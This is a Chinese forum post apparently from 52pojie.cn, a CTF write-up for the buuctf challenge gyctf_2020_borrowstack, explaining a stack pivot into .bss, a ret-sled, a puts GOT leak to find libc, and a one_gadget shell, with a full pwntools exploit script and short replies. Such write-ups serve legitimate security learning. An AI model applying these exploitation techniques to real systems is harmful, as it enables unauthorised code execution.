吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 2763|回复: 7
收起左侧

[CTF] [栈迁移+ret滑梯]gyctf_2020_borrowstack

[复制链接]
bnuzgn 发表于 2023-8-29 12:55
题目来源
buuctf——gyctf_2020_borrowstack
参考链接
https://www.shawroot.cc/2097.html
题目信息
ubuntu16、64位
1.png
第一个read仅溢出一个机器字长,需要栈迁移
2.png


解题步骤
栈偏移到全局变量bank中,ret2libc+gadget

关键步骤
  • ret滑梯
第二个payload需要添加padding的原因是bank的起始位置距离got表太近了,会报错,原因可能是:(1)有的got表项只读(2)程序有鉴别机制,不允许溢出到got。
有了p64(ret_addr)*20只要保证这一段足够长,p64(bss_addr)在其范围内,就不需要计算p64(bss_addr)中的地址,直接bss_addr就可以了。
因为ret汇编指令表示pop rip,所以程序会自动执行栈中下一条地址的内容,直到非ret指令。就像一个滑梯一样,不管你从中途哪个地方加入,都会滑到底。
[Python] 纯文本查看 复制代码
payload = b'a'*0x60 + p64(bss_addr) + p64(leave_ret)
sa("Tell me what you want",payload)
#传说中的ret滑梯
payload = p64(ret_addr)*20 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(second_read_addr)

  • cyclic+gdb.attach脚本内动态调试
本来想使用system('/binsh'),因此选择的也是第二个read处覆盖函数返回地址。
先在脚本里使用cyclic配合gdbattach得到参数偏移数。
[Python] 纯文本查看 复制代码
puts_addr = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc_base = puts_addr - libc.sym['puts']
binsh_addr = libc_base + next(libc.search(b"/bin/sh"))
system_addr = libc_base + libc.sym["system"]
one_gadget=libc_base+0x4526a

payload = cyclic(200)
db()
sd(payload)

ti()

得到无法读取的内存地址(cyclic的片段)
3.png
所以ret_addr距离第二个read保存的参数的偏移为184
4.png


wp
[Python] 纯文本查看 复制代码
# -*- coding: utf-8 -*-
from pwn import*
context.log_level='debug'
context.arch='amd64'
context.os = "linux"

pc = "./gyctf_2020_borrowstack"

if __name__ == '__main__':
    local = sys.argv[1]
    if local == '1':
        r= process(pc)
        elf = ELF(pc)
        libc = elf.libc
    else:
        r=remote("node4.buuoj.cn",29055)
        elf = ELF(pc)
        libc = elf.libc

sa = lambda s,n : r.sendafter(s,n)
sla = lambda s,n : r.sendlineafter(s,n)
sl = lambda s : r.sendline(s)
sd = lambda s : r.send(s)
rc = lambda n : r.recv(n)
ru = lambda s : r.recvuntil(s)
ti = lambda: r.interactive()
lg = lambda s: log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))

def db():
    gdb.attach(r)
    pause()

def dbs(src):
    gdb.attach(r, src)

bss_addr = 0x601080
second_read_addr = 0x400680
ret_addr = 0x04004c9
leave_ret = 0x400699
pop_rdi_ret = 0x400703
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

payload = b'a'*0x60 + p64(bss_addr) + p64(leave_ret)
sa("Tell me what you want",payload)
#传说中的ret滑梯
payload = p64(ret_addr)*20 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(second_read_addr)
sla("stack now!",payload)
puts_addr = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc_base = puts_addr - libc.sym['puts']
binsh_addr = libc_base + next(libc.search(b"/bin/sh"))
system_addr = libc_base + libc.sym["system"]
one_gadget=libc_base+0x4526a

#system函数需要的栈空间很大,因此第一个payload无法使用
#payload = cyclic(184) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)
payload = cyclic(184) + p64(one_gadget)
sd(payload)

ti()

免费评分

参与人数 2吾爱币 +8 热心值 +2 收起 理由
笙若 + 1 + 1 谢谢@Thanks!
Hmily + 7 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

jssytjj 发表于 2023-8-29 17:46
I love it ok.
Euclid2010 发表于 2023-8-30 08:39
PUQ 发表于 2023-8-31 11:29
gy0503 发表于 2023-8-31 13:33
路过----------
rosewood 发表于 2023-9-1 02:11
学习了,感谢大佬
 楼主| bnuzgn 发表于 2023-9-1 09:35
rosewood 发表于 2023-9-1 02:11
学习了,感谢大佬

大佬早点睡
bamuwe 发表于 2024-1-26 21:01
为什么一定是0x20呢.,我试了好几个别的值都没有成功,求教求教
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-15 06:43

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表